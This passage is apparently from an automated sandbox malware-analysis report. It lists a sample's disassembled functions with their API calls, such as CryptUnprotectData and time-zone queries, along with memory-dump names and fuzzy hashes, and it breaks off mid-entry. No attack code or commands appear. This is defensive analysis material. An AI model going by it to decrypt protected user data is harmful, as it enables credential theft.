Instruction Fuzzy Hash: 08314871901218ABCB24EF54DC95FEEB7B8EB85700F104199F10AB21A0DF746E45CFA2

Function 00938EA0 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,00925184,40000001,00000000,00000000,?,00925184), ref: 00938EC0

Memory Dump Source

Source File: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000001.00000002.1381863597.0000000000920000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000DDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386099287.0000000000E1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386252254.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386270673.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_920000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: 39bb69c7bbc397994ad1aafd71895466e35c5cd5b44384d44e9f2ec621e2e602
Instruction ID: 80bf59081b8d17a787c4ceb2f882bfcb871693ae446efc73ebb614194d214e82
Opcode Fuzzy Hash: 39bb69c7bbc397994ad1aafd71895466e35c5cd5b44384d44e9f2ec621e2e602
Instruction Fuzzy Hash: 8011D674200309BFDF00DF64D885FAB37A9AF89714F109958F9198B250DB79E941DFA1

Function 00929AC0 Relevance: 6.1, APIs: 4, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00924EEE,00000000,00000000), ref: 00929AEF
LocalAlloc.KERNEL32(00000040,?,?,?,00924EEE,00000000,?), ref: 00929B01
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00924EEE,00000000,00000000), ref: 00929B2A
LocalFree.KERNEL32(?,?,?,?,00924EEE,00000000,?), ref: 00929B3F

Memory Dump Source

Source File: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000001.00000002.1381863597.0000000000920000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000DDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386099287.0000000000E1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386252254.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386270673.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_920000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID:
API String ID: 4291131564-0
Opcode ID: 4cf49d0f2dfa1925f0e4515c611895390a5de99a06f6ef309a31c2c86b46a27f
Instruction ID: 658c73cf56a563b059231f309f4c0fdce8f91ef006132c394cbf7e7b2cc4816b
Opcode Fuzzy Hash: 4cf49d0f2dfa1925f0e4515c611895390a5de99a06f6ef309a31c2c86b46a27f
Instruction Fuzzy Hash: 4E11A4B4240208AFEB10CF64DC95FAA77B9FB89700F208058F9159B3D4C7B5A901DB90

Function 00937980 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00940E00,00000000,?), ref: 009379B0
RtlAllocateHeap.NTDLL(00000000), ref: 009379B7
GetLocalTime.KERNEL32(?,?,?,?,?,00940E00,00000000,?), ref: 009379C4
wsprintfA.USER32 ref: 009379F3

Memory Dump Source

Source File: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000001.00000002.1381863597.0000000000920000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000DDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386099287.0000000000E1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386252254.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386270673.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_920000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID:
API String ID: 377395780-0
Opcode ID: bc88e795b2d6a2e3360ab8652c2fa35aebd207e6b4ce16715515a0ec90cead00
Instruction ID: 0a72bd6f87059165859a2f80ee4ac132ba533e38eb10f3fd2553ed7497f46e9b
Opcode Fuzzy Hash: bc88e795b2d6a2e3360ab8652c2fa35aebd207e6b4ce16715515a0ec90cead00
Instruction Fuzzy Hash: C811E5B2904118AACB149FD9DD45BBEB7F8EB48B11F10465AF605A3280E67D5940CBB1

Function 00937A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,0105E120,00000000,?,00940E10,00000000,?,00000000,00000000), ref: 00937A63
RtlAllocateHeap.NTDLL(00000000), ref: 00937A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,0105E120,00000000,?,00940E10,00000000,?,00000000,00000000,?), ref: 00937A7D
wsprintfA.USER32 ref: 00937AB7

Memory Dump Source

Source File: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000001.00000002.1381863597.0000000000920000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000DDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386099287.0000000000E1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386252254.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386270673.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_920000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: 30ea3a2706d5503f9e132b575568fd20b66b2d295e6c42ee24a7ff96f7667678
Instruction ID: d6e4e4cee07cedebf12a2f9b65477bf913c94cdb4d58d286f9421cb6b5b26417
Opcode Fuzzy Hash: 30ea3a2706d5503f9e132b575568fd20b66b2d295e6c42ee24a7ff96f7667678
Instruction Fuzzy Hash: F5115EB1945218EBEB208B94DC49FA9FB78FB44721F10479AE91AA32C0DB785E40CF51

Function 00933720 Relevance: 4.6, APIs: 3, Instructions: 100comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(0093E118,00000000,00000001,0093E108,00000000), ref: 00933758
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 009337B0

Memory Dump Source

Source File: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000001.00000002.1381863597.0000000000920000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000DDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386099287.0000000000E1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386252254.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386270673.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_920000_file.jbxd

Yara matches

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID:
API String ID: 123533781-0
Opcode ID: 8079d0d527583c771c87b00288c82929b4e212e162e1b858fd5951af01c45f40
Instruction ID: 35ae0bdf59a54a81c5c5b65fd114db1b9f6f3f535c3f3715c9062412727f3bd5
Opcode Fuzzy Hash: 8079d0d527583c771c87b00288c82929b4e212e162e1b858fd5951af01c45f40
Instruction Fuzzy Hash: C341C771A40A289FDB24DB58CC95F9BB7B5BB48702F4081D8E609A72D0D7B16E85CF50

Function 00929B60 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00929B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 00929BA3
LocalFree.KERNEL32(?), ref: 00929BD3

Memory Dump Source

Source File: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000001.00000002.1381863597.0000000000920000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000DDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386099287.0000000000E1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386252254.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386270673.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_920000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: c43d85f0bdbda3e90c9685c53d37569e57d3c9ef86b9af6b272977dd8d650522
Instruction ID: abb01636e3a4dd24a37502e5c636cadbd7101842a8f5b1d379adf9c51d78d84e
Opcode Fuzzy Hash: c43d85f0bdbda3e90c9685c53d37569e57d3c9ef86b9af6b272977dd8d650522
Instruction Fuzzy Hash: 5711CCB4A00209EFCB04DF94D985AAE77F9FF88300F104568E915A7390D774AE10CFA1

Function 00C21141 Relevance: 3.9, Strings: 3, Instructions: 169COMMON

Download Yara Rule

Strings

S}_, xrefs: 00C2131A
Kw, xrefs: 00C2121E
98yW, xrefs: 00C21168

Memory Dump Source

Source File: 00000001.00000002.1384277348.0000000000B7E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000001.00000002.1381863597.0000000000920000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000DDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386099287.0000000000E1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386252254.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386270673.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_920000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 98yW$S}_$Kw
API String ID: 0-2100450784
Opcode ID: c9bd3b2aad855f845c5aa5e1fd8bb37f6d5c88890f364cd16d4da65997788de0
Instruction ID: f4107d8e52e99c8bf7f6c16c008206336cc7aca448cf5489e0ea88f4e1dfa27e
Opcode Fuzzy Hash: c9bd3b2aad855f845c5aa5e1fd8bb37f6d5c88890f364cd16d4da65997788de0
Instruction Fuzzy Hash: 675148F36083004BE3086E2DECA533ABBD6DFD4720F1AC53DE6C587788E97858458646

Function 00CE36EA Relevance: 2.8, Strings: 2, Instructions: 261COMMON

Download Yara Rule

Strings

^V:E, xrefs: 00CE38D5
flV, xrefs: 00CE3847

Memory Dump Source

Source File: 00000001.00000002.1384277348.0000000000B7E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000001.00000002.1381863597.0000000000920000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000DDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386099287.0000000000E1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386252254.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386270673.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_920000_file.jbxd

Yara matches

Similarity

API ID:
String ID: ^V:E$flV
API String ID: 0-96964855
Opcode ID: fe39305e1a1e37a43dc20f3e961d7128260ae664759defd743b80db251878e5c
Instruction ID: 42c7f0ffc3a57493b41bfb9d53c29405e21672528cebe562a295a5fe3b32be02
Opcode Fuzzy Hash: fe39305e1a1e37a43dc20f3e961d7128260ae664759defd743b80db251878e5c
Instruction Fuzzy Hash: E08158F3A0C604AFD3186F2DDC8162AFBE6EBD8720F1A492DE6C4C3754F93559008646

Function 00CD57D0 Relevance: 2.7, Strings: 2, Instructions: 242COMMON

Download Yara Rule

Strings

lH=, xrefs: 00CD5A69
5n, xrefs: 00CD582A

Memory Dump Source

Source File: 00000001.00000002.1384277348.0000000000B7E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000001.00000002.1381863597.0000000000920000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000DDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386099287.0000000000E1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386252254.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386270673.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_920000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 5n$lH=
API String ID: 0-2859898692
Opcode ID: f7849f199b605acb260e738fc3ca1cb61b1c1e7c77634a2805218c67e3789f73
Instruction ID: 0cad71b79b825f24c36c97a8e7797240918c43b68e22631fdf65e366f3a6fd5e
Opcode Fuzzy Hash: f7849f199b605acb260e738fc3ca1cb61b1c1e7c77634a2805218c67e3789f73
Instruction Fuzzy Hash: 5F614AB3A082045FE314AE2DDC8577BBBD6EBD4320F1A4A3DEAC883744E53658058386

Function 00C134EB Relevance: 2.7, Strings: 2, Instructions: 240COMMON

Download Yara Rule

Strings

bMl, xrefs: 00C1378E
1w}, xrefs: 00C13775

Memory Dump Source

Source File: 00000001.00000002.1384277348.0000000000B7E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000001.00000002.1381863597.0000000000920000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000DDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386099287.0000000000E1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386252254.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386270673.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_920000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 1w}$bMl
API String ID: 0-1890219203
Opcode ID: 5d3d91622d075c746c1e1eedcd7f10b6a457e466c0a10300c72bbb4a49097f26
Instruction ID: f7d4acd4f87416f3f625af74c241009f3982e405dbbfb0c78f05eeda0e2d4ad1
Opcode Fuzzy Hash: 5d3d91622d075c746c1e1eedcd7f10b6a457e466c0a10300c72bbb4a49097f26
Instruction Fuzzy Hash: 61811AF3D082148BE304AE3DDD4577ABBE6DB94720F1A4A3DD9C4C7788E93988458782

Function 00CECEE6 Relevance: 2.4, Strings: 1, Instructions: 1144COMMON

Download Yara Rule

Strings

L$}, xrefs: 00CED223

Memory Dump Source

Source File: 00000001.00000002.1384277348.0000000000B7E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000001.00000002.1381863597.0000000000920000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000DDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386099287.0000000000E1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386252254.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386270673.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_920000_file.jbxd

Yara matches

Similarity

API ID:
String ID: L$}
API String ID: 0-3268990791
Opcode ID: b90d8b9642d08c0b100b5d6c03769e67a25c5f00ea3ae84b792921d0df5687b0
Instruction ID: def1ef54cb822d16de496cda239b1e7d717d6bdf20bbc3d6776734d938ca13cc
Opcode Fuzzy Hash: b90d8b9642d08c0b100b5d6c03769e67a25c5f00ea3ae84b792921d0df5687b0
Instruction Fuzzy Hash: BC72E7F3A082109FE304AE2DDC8577AFBE9EF94720F16853DEAC4C7744E63598058696

Function 00BF4665 Relevance: 1.5, Strings: 1, Instructions: 232COMMON

Download Yara Rule

Strings

X)q, xrefs: 00BF48D2

Memory Dump Source

Source File: 00000001.00000002.1384277348.0000000000B7E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000001.00000002.1381863597.0000000000920000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000DDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386099287.0000000000E1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386252254.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386270673.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_920000_file.jbxd

Yara matches

Similarity

API ID:
String ID: X)q
API String ID: 0-2881036112
Opcode ID: 3e61f05c2a7b41bfb05419aaae805989f3e9704a11edf8b513d8f15194ff2edd
Instruction ID: d896d6efddbdd426b71936f34a9b83bbf4bd251855291cdc35a8290c4b5f01e4
Opcode Fuzzy Hash: 3e61f05c2a7b41bfb05419aaae805989f3e9704a11edf8b513d8f15194ff2edd
Instruction Fuzzy Hash: E86158F3E082105BE314597DECC576AB6D9EBA4320F1B463DEE88E3380E9799C0542D2

Function 00BDB057 Relevance: .2, Instructions: 217COMMON

Download Yara Rule

Memory Dump Source

